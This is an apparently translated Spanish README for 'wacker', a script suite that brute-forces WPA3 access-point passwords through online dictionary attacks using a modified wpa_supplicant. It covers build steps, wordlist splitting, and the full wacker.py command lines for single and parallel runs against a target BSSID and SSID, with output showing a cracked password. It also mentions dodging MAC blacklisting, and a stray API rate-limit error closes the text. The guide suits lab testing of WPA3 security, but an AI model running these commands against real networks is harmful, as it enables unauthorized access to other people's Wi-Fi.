Un conjunto de scripts para ayudar a realizar un ataque de diccionario en línea contra un punto de acceso WPA3. Wacker aprovecha la interfaz de control de wpa_suplicant para controlar las operaciones del demonio supplicant y para obtener información de estado y notificaciones de eventos, lo que ayuda a acelerar los intentos de conexión durante los intentos de fuerza bruta.
Encuentra un AP WPA3 para utilizar
Si ya tienes un WPA3 AP que funciona entonces genial. En lugar de eso puedes configurar un entorno local usando mac80211_hwsim (detalles abajo) o usar los VMs proporcionados por el RF Hackers Sanctuary (altamente recomendado). Las pruebas se hicieron casi exclusivamente usando los entornos simulados de mac80211. Se prestó poca atención a un AP real… por ahora.
Radios locales simuladas
Para configurar tu propio simulador de software de radios 802.11 simplemente configura y carga el módulo mac80211_hwsim correcto.
# modprobe mac80211_hwsim radios=4 # iwconfig wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:on wlan1 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:on wlan2 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:on wlan3 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:on
Elige una de las nuevas interfaces como tu punto de acceso al WPA3 y utiliza el siguiente archivo de conf.
cat hostapd.conf interface=wlan0 ssid=WCTF_18 driver=nl80211 hw_mode=g channel=1 logger_syslog=-1 logger_syslog_level=3 wpa=2 wpa_passphrase=Aeromechanics wpa_key_mgmt=SAE rsn_pairwise=CCMP ieee80211w=1 group_mgmt_cipher=AES-128-CMAC
Y empezar hostapd con
hostapd -K -dd hostapd.conf
Dividir una Lista de Palabras
Si tienes intenciones de hacer tus esfuerzos de cracking a través de una serie de nics, el script split.sh provisto dividirá una lista de palabras para ti.
./split.sh 10 cyberpunk.words
50916 cyberpunk.words.aaa
50916 cyberpunk.words.aab
50916 cyberpunk.words.aac
50916 cyberpunk.words.aad
50916 cyberpunk.words.aae
50916 cyberpunk.words.aaf
50916 cyberpunk.words.aag
50916 cyberpunk.words.aah
50916 cyberpunk.words.aai
50907 cyberpunk.words.aaj
509151 total
Construyendo wpa_supplicant
Estamos proporcionando nuestro propio wpa_supplicant con el fin de garantizar que se establezcan ciertas configuraciones, así como algunos mods que deben ocurrir dentro del propio código fuente. Para construir simplemente haz lo siguiente. Con suerte, en el futuro esto se convertirá en un paso obsoleto.
# apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev # cd wpa_supplicant-2.8/wpa_supplicant/ # cp defconfig_brute_force .config # make -j4 # ls -al wpa_supplicant -rwxr-xr-x 1 root root 13541416 May 31 16:30 wpa_supplicant
De interés son algunos mensajes de eventos nuevos que se agregaron a la interfaz de control wpa supplicant para ayudar a distinguir mejor los resultados que el sciript hooks wacker.
/** auth success for our brute force stuff (WPA3) */ #define WPA_EVENT_BRUTE_SUCCESS "CTRL-EVENT-BRUTE-SUCCESS " /** auth failure for our brute force stuff (WPA3) */ #define WPA_EVENT_BRUTE_FAILURE "CTRL-EVENT-BRUTE-FAILURE "
Requisito Python
El script wacker.py utiliza unas cuantas f-strings entre otros python3-isms. Con el fin de liberar el código antes, este requisito se mantuvo. Aquí hay algunas instrucciones genéricas de instalación para Python3.7 si es necesario. Sé que en el futuro esto se convertirá en un paso obsoleto.
# apt-get install build-essential tk-dev libncurses5-dev libncursesw5-dev libreadline6-dev libdb5.3-dev libgdbm-dev libsqlite3-dev libssl-dev libbz2-dev libexpat1-dev liblzma-dev zlib1g-dev libffi-dev -y # wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tar.xz # tar xf Python-3.7.0.tar.xz # cd Python-3.7.0 # ./configure # make -j4 # make altinstall
Ejecutando wacker
El script wacker.py está destinado a realizar todo el trabajo pesado.
# ./wacker.py --help usage: wacker.py [-h] --wordlist WORDLIST --interface INTERFACE --bssid BSSID --ssid SSID --freq FREQ [--start START_WORD] [--debug] A WPA3 dictionary cracker. Must run as root! optional arguments: -h, --help show this help message and exit --wordlist WORDLIST wordlist to use --interface INTERFACE interface to use --bssid BSSID bssid of the target --ssid SSID the ssid of the WPA3 AP --freq FREQ frequency of the ap --start START_WORD word to start with in the wordlist --debug increase logging output
Con un poco de suerte… ejecutando el ataque usando sólo una instancia…
# ./wacker.py --wordlist cyberpunk.words --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412 Start time: 21 Aug 2020 07:40:11 Starting wpa_supplicant... 5795 / 509151 words (1.14%) : 79.41 words/sec : 0.020 hours lapsed : 1.76 hours to exhaust (21 Aug 2020 09:25:49) Found the password: 'Aeromechanics' Stop time: 21 Aug 2020 07:41:24
Ejecutar múltiples instancias de wacker es fácil si tienes los nics de repuesto. No te olvides de dividir la lista de palabras también.
# ./wacker.py --wordlist cyberpunk.words.aaa --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1 --freq 2412 # ./wacker.py --wordlist cyberpunk.words.aab --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412 # ./wacker.py --wordlist cyberpunk.words.aac --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan3 --freq 2412
Archivos de Interés
wacker es bastante detallado. Los archivos de interés se encuentran en /tmp/wpa_supplicant/
- wlan1 : un extremo de la uds
- wlan1_client : un extremo de la uds
- wlan1.conf: se necesita conf inicial de wpa_supplicant
- wlan1.log : salida de supplicant (sólo cuando se usa la opción –debug)
- wlan1.pid : archivo pid para la instancia wpa_supplciant
- wlan1_wacker.log : salida de depuración de wacker
Precaución
wacker no maneja las acls puestas en marcha por el objetivo WPA3 AP. Lo que significa que el código actual siempre usa la misma dirección MAC. Si el AP de destino pone en la lista negra nuestra dirección MAC, entonces el script no diferenciará entre un verdadero fallo de autenticación y el rechazo de nuestra MAC en la lista negra. Esto significará que consideraremos la verdadera contraseña como un fallo. Una forma de resolver…. tendríamos que añadir el macchanger a la fuente a expensas de la ralentización.
Wacker aparentemente pausará todo tan a menudo como el AP emitirá un tiempo de espera. Esto hará que la visualización de métricas parezca pausar y luego comenzar de nuevo. Este es el comportamiento esperado.
Problemas Comunes
Verás esto cuando el controlador de tu cliente no sea compatible con el AKM correcto. Por lo general, esto se manifiesta en la salida wpa_supplicant después de intentar ejecutar el script wacker. El supplicant básicamente se quedará esperando más instrucciones con el problema de AKM que se detalla a continuación. El AKM necesario es 00-0F-AC: 8 (SAE) en los casos de WPA3.
u631_3: WPA: AP group 0x10 network profile group 0x18; available group 0x10 u631_3: WPA: using GTK CCMP u631_3: WPA: AP pairwise 0x10 network profile pairwise 0x18; available pairwise 0x10 u631_3: WPA: using PTK CCMP u631_3: WPA: AP key_mgmt 0x400 network profile key_mgmt 0x400; available key_mgmt 0x400 u631_3: WPA: Failed to select authenticated key management type u631_3: WPA: Failed to set WPA key management and encryption suites
Error: API rate limit exceeded for 216.246.112.50. (But here's the good news: Authenticated requests get a higher rate limit. Check out the documentation for more details.)